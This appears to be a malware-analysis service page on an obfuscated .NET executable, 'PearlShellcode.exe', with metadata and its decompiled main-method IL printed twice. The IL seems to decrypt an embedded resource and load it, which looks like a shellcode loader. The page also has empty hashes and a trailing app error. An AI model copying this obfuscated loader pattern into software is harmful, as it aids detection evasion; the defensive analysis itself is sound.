Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

The file 54ee227d6d280c812021c4b3d5233447 is a PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 10 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
—
MD5
-
Verdict
Inconclusive
File type
PE Executable

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high

4 files
EXE54ee227d6d280c812021c4b3d5233447
Structure

Name Value
Module Name
PearlShellcode.exe
Full Name
PearlShellcode.exe
EntryPoint
System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‪‍‪‍​‬‏‎‌‍‬‎‮‪‌‎‌‎‫​‌‌‍‫‮()
Scope Name
PearlShellcode.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
PearlShellcode
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
1
Main Method
System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‪‍‪‍​‬‏‎‌‍‬‎‮‪‌‎‌‎‫​‌‌‍‫‮()
Main IL Instruction Count
102
Main IL
ldc.i4 49680632
br.s IL_0007: call System.String <Module>::​‪‌​‭‮‌‮‮‍‪‎‭‍‬‍‍​‪‏‮‎‏‭‭‮<System.String>(System.Int32)
call System.String <Module>::​‪‌​‭‮‌‮‮‍‪‎‭‍‬‍‍​‪‏‮‎‏‭‭‮<System.String>(System.Int32)
stloc.0 <null>
ldc.i4 619059294
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.3 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0055: call System.Reflection.Assembly ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‎‌‫‬‬‮‌‬‏‫‭‪‬‪‬‪‫‎‪‌‭‮‬‮()
call System.Text.Encoding ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‫‭​‮‮‭‎‎‏‬‌‌‌‮‍‎‪‍​‭‫‪​​‫‮()
ldsfld System.String PearlShellcode.Config.Settings::DecryptionKey
call System.Byte[] ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‮‫‫‮‪‭‬‌‮‌‏‫‎​‫‭‫​‭‎‫‮‮‮‮‮‮(System.String)
call System.String ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‌‮​‬‌​‪​‪‏‫‫‏‭‍‪‭‪‪‪‍‏​​‭‬‌‬‭‮(System.Text.Encoding,System.Byte[])
stloc.1 <null>
ldloc.s V_4
ldc.i4 1617488698
mul <null>
ldc.i4 -2021530240
xor <null>
br.s IL_0012: ldc.i4 1840867290
call System.Reflection.Assembly ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‎‌‫‬‬‮‌‬‏‫‭‪‬‪‬‪‫‎‪‌‭‮‬‮()
ldloc.0 <null>
call System.IO.Stream ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‮‌‌‫‎‮​‪‌​‌‎‪‏​‭‌‍‬‭‌‪‎‏‎‬‮(System.Reflection.Assembly,System.String)
stloc.2 <null>
ldloc.2 <null>
brtrue.s IL_00AF: ldloc.2
ldc.i4 931950283
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.6 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00F4: leave.s IL_0133
ldloc.2 <null>
ldloc.3 <null>
ldc.i4.0 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
call System.Int32 ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‏‪​‎​‬‭​‮‪‏‍‎‪​‍‎‍‍‬‬‭‪‬‫‍‬‌‮(System.IO.Stream,System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_4
ldc.i4 -1003944979
mul <null>
ldc.i4 1335182157
xor <null>
br.s IL_0069: ldc.i4 1840867290
ldloc.2 <null>
call System.Int64 ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‭‫‫‌‮‫‬‍‬‏‌‪‍‏‭‬​‭‎‎‫‮(System.IO.Stream)
conv.ovf.i <null>
newarr System.Byte
stloc.3 <null>
ldc.i4 1625243911
br.s IL_0069: ldc.i4 1840867290
ldloc.3 <null>
ldloc.1 <null>
call System.Byte[] ‌‭‎‍‌‎‎‏‮‮​‮‭‪​‮‎‍‮‍‭​‫‬‏‮::‎‫‫‬‭‮‪‭​‍‬‭‍‬‬‭‎‪‌‏‮‮(System.Byte[],System.String)
call System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‫‫‌‎‌​‎‌‫‮‌‍​‏‌‬‫‏‎‎‏‍‪‮‮(System.Byte[])
ldloc.s V_4
ldc.i4 982894110
mul <null>
ldc.i4 1284420082
xor <null>
br.s IL_0069: ldc.i4 1840867290
leave.s IL_0138: ret
ldloc.s V_4
ldc.i4 514121376
mul <null>
ldc.i4 1448460427
xor <null>
br IL_0069: ldc.i4 1840867290
leave.s IL_0133: leave.s IL_0138
ldloc.2 <null>
brfalse.s IL_0132: endfinally
ldc.i4 1234600538
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.3 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0132: endfinally
ldloc.2 <null>
call System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‌‬‭‌‮​‬‫‫‍‭‫‮‫‎‍​‏‏‮‌‌‮(System.IDisposable)
ldloc.s V_4
ldc.i4 -2093217912
mul <null>
ldc.i4 -300041899
xor <null>
br.s IL_00FE: ldc.i4 1840867290
endfinally <null>
leave.s IL_0138: ret
pop <null>
leave.s IL_0138: ret
ret <null>
Module Name
PearlShellcode.exe
Full Name
PearlShellcode.exe
EntryPoint
System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‪‍‪‍​‬‏‎‌‍‬‎‮‪‌‎‌‎‫​‌‌‍‫‮()
Scope Name
PearlShellcode.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
PearlShellcode
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
1
Main Method
System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‪‍‪‍​‬‏‎‌‍‬‎‮‪‌‎‌‎‫​‌‌‍‫‮()
Main IL Instruction Count
102
Main IL
ldc.i4 49680632
br.s IL_0007: call System.String <Module>::​‪‌​‭‮‌‮‮‍‪‎‭‍‬‍‍​‪‏‮‎‏‭‭‮<System.String>(System.Int32)
call System.String <Module>::​‪‌​‭‮‌‮‮‍‪‎‭‍‬‍‍​‪‏‮‎‏‭‭‮<System.String>(System.Int32)
stloc.0 <null>
ldc.i4 619059294
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.3 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0055: call System.Reflection.Assembly ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‎‌‫‬‬‮‌‬‏‫‭‪‬‪‬‪‫‎‪‌‭‮‬‮()
call System.Text.Encoding ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‫‭​‮‮‭‎‎‏‬‌‌‌‮‍‎‪‍​‭‫‪​​‫‮()
ldsfld System.String PearlShellcode.Config.Settings::DecryptionKey
call System.Byte[] ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‮‫‫‮‪‭‬‌‮‌‏‫‎​‫‭‫​‭‎‫‮‮‮‮‮‮(System.String)
call System.String ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‌‮​‬‌​‪​‪‏‫‫‏‭‍‪‭‪‪‪‍‏​​‭‬‌‬‭‮(System.Text.Encoding,System.Byte[])
stloc.1 <null>
ldloc.s V_4
ldc.i4 1617488698
mul <null>
ldc.i4 -2021530240
xor <null>
br.s IL_0012: ldc.i4 1840867290
call System.Reflection.Assembly ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‪‫‎‌‫‬‬‮‌‬‏‫‭‪‬‪‬‪‫‎‪‌‭‮‬‮()
ldloc.0 <null>
call System.IO.Stream ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‮‌‌‫‎‮​‪‌​‌‎‪‏​‭‌‍‬‭‌‪‎‏‎‬‮(System.Reflection.Assembly,System.String)
stloc.2 <null>
ldloc.2 <null>
brtrue.s IL_00AF: ldloc.2
ldc.i4 931950283
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.6 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00F4: leave.s IL_0133
ldloc.2 <null>
ldloc.3 <null>
ldc.i4.0 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
call System.Int32 ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‏‪​‎​‬‭​‮‪‏‍‎‪​‍‎‍‍‬‬‭‪‬‫‍‬‌‮(System.IO.Stream,System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_4
ldc.i4 -1003944979
mul <null>
ldc.i4 1335182157
xor <null>
br.s IL_0069: ldc.i4 1840867290
ldloc.2 <null>
call System.Int64 ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‭‫‫‌‮‫‬‍‬‏‌‪‍‏‭‬​‭‎‎‫‮(System.IO.Stream)
conv.ovf.i <null>
newarr System.Byte
stloc.3 <null>
ldc.i4 1625243911
br.s IL_0069: ldc.i4 1840867290
ldloc.3 <null>
ldloc.1 <null>
call System.Byte[] ‌‭‎‍‌‎‎‏‮‮​‮‭‪​‮‎‍‮‍‭​‫‬‏‮::‎‫‫‬‭‮‪‭​‍‬‭‍‬‬‭‎‪‌‏‮‮(System.Byte[],System.String)
call System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‫‫‌‎‌​‎‌‫‮‌‍​‏‌‬‫‏‎‎‏‍‪‮‮(System.Byte[])
ldloc.s V_4
ldc.i4 982894110
mul <null>
ldc.i4 1284420082
xor <null>
br.s IL_0069: ldc.i4 1840867290
leave.s IL_0138: ret
ldloc.s V_4
ldc.i4 514121376
mul <null>
ldc.i4 1448460427
xor <null>
br IL_0069: ldc.i4 1840867290
leave.s IL_0133: leave.s IL_0138
ldloc.2 <null>
brfalse.s IL_0132: endfinally
ldc.i4 1234600538
ldc.i4 1840867290
xor <null>
dup <null>
stloc.s V_4
ldc.i4.3 <null>
rem.un <null>
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0132: endfinally
ldloc.2 <null>
call System.Void ‍​‌‍‍‏‌‮‏​‫‏‫‪‍‌‬‭‌‪‏‍‫‏​‬‭‮::‌‬‭‌‮​‬‫‫‍‭‫‮‫‎‍​‏‏‮‌‌‮(System.IDisposable)
ldloc.s V_4
ldc.i4 -2093217912
mul <null>
ldc.i4 -300041899
xor <null>
br.s IL_00FE: ldc.i4 1840867290
endfinally <null>
leave.s IL_0138: ret
pop <null>
leave.s IL_0138: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙